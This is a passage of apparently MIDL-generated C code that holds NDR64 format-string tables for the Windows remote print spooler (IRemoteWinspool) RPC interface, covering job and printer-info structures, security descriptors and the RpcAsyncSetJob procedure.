0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag108_t __midl_frag108 =\n{ \n/* *JOB_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag109\n};\n\nstatic const __midl_frag107_t __midl_frag107 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag106_t __midl_frag106 =\n{ \n/* __MIDL_IRemoteWinspool_0009 */\n    { \n    /* __MIDL_IRemoteWinspool_0009 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag107,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag108,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag117,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag130,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag132,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag105_t __midl_frag105 =\n{ \n/* JOB_CONTAINER */\n    { \n    /* JOB_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag106\n        },\n        { \n        /* JOB_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag104_t __midl_frag104 =\n{ \n/* *JOB_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag105\n};\n\nstatic const __midl_frag101_t __midl_frag101 =\n{ \n/* RpcAsyncSetJob */\n    { \n    /* RpcAsyncSetJob */      /* procedure RpcAsyncSetJob */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag193,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag948,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobContainer */      /* parameter pJobContainer */\n        &__midl_frag104,\n        { \n        /* pJobContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag948,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag99_t __midl_frag99 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag98_t __midl_frag98 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag99\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/* *SPLCLIENT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag17\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag93\n    }\n};\n\nstatic const __midl_frag93_t __midl_frag93 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag107\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag92_t __midl_frag92 =\n{ \n/* SECURITY_CONTAINER */\n    { \n    /* SECURITY_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SECURITY_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag96,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag89_t __midl_frag89 =\n{ \n/* PRINTER_INFO_9 */\n    { \n    /* PRINTER_INFO_9 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_9 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *DEVMODE */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag59\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag88_t __midl_frag88 =\n{ \n/* *PRINTER_INFO_9 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag89\n};\n\nstatic const __midl_frag84_t __midl_frag84 =\n{ \n/* PRINTER_INFO_7 */\n    { \n    /* PRINTER_INFO_7 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_7 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag83_t __midl_frag83 =\n{ \n/* *PRINTER_INFO_7 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag84\n};\n\nstatic const __midl_frag82_t __midl_frag82 =\n{ \n/* PRINTER_INFO_6 */\n    { \n    /* PRINTER_INFO_6 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* PRINTER_INFO_6 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag81_t __midl_frag81 =\n{ \n/* *PRINTER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag82\n};\n\nstatic const __midl_frag78_t __midl_frag78 =\n{ \n/* PRINTER_INFO_5 */\n    { \n    /* PRINTER_INFO_5 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_5 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag77_t __midl_frag77 =\n{ \n/* *PRINTER_INFO_5 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag78\n};\n\nstatic const __midl_frag74_t __midl_frag74 =\n{ \n/* PRINTER_INFO_4 */\n    { \n    /* PRINTER_INFO_4 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_4 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag73_t __midl_frag73 =\n{ \n/* *PRINTER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag74\n};\n\nstatic const __midl_frag72_t __midl_frag72 =\n{ \n/* PRINTER_INFO_3 */\n    { \n    /* PRINTER_INFO_3 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_3 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *SECURITY_DESCRIPTOR */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag64\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag71_t __midl_frag71 =\n{ \n/* *PRINTER_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag72\n};\n\nstatic const __midl_frag70_t __midl_frag70 =\n{ \n/*  */\n    { \n    /* *_RPC_SID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag65\n    },\n    { \n    /* *_RPC_SID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag65\n    },\n    { \n    /* *_ACL */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag69\n    },\n    { \n    /* *_ACL */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag69\n    }\n};\n\nstatic const __midl_frag69_t __midl_frag69 =\n{ \n/* _ACL */\n    { \n    /* _ACL */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* _ACL */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag67_t __midl_frag67 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x1,    /* FC64_UINT8 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag66_t __midl_frag66 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag67\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag1065\n    }\n};\n\nstatic const __midl_frag65_t __midl_frag65 =\n{ \n/* _RPC_SID */\n    { \n    /* _RPC_SID */\n        0x32,    /* FC64_CONF_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _RPC_SID */\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag66\n    }\n};\n\nstatic const __midl_frag64_t __midl_frag64 =\n{ \n/* SECURITY_DESCRIPTOR */\n    { \n    /* SECURITY_DESCRIPTOR */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SECURITY_DESCRIPTOR */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag70,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x10,    /* FC64_CHAR */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x10,    /* FC64_CHAR */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 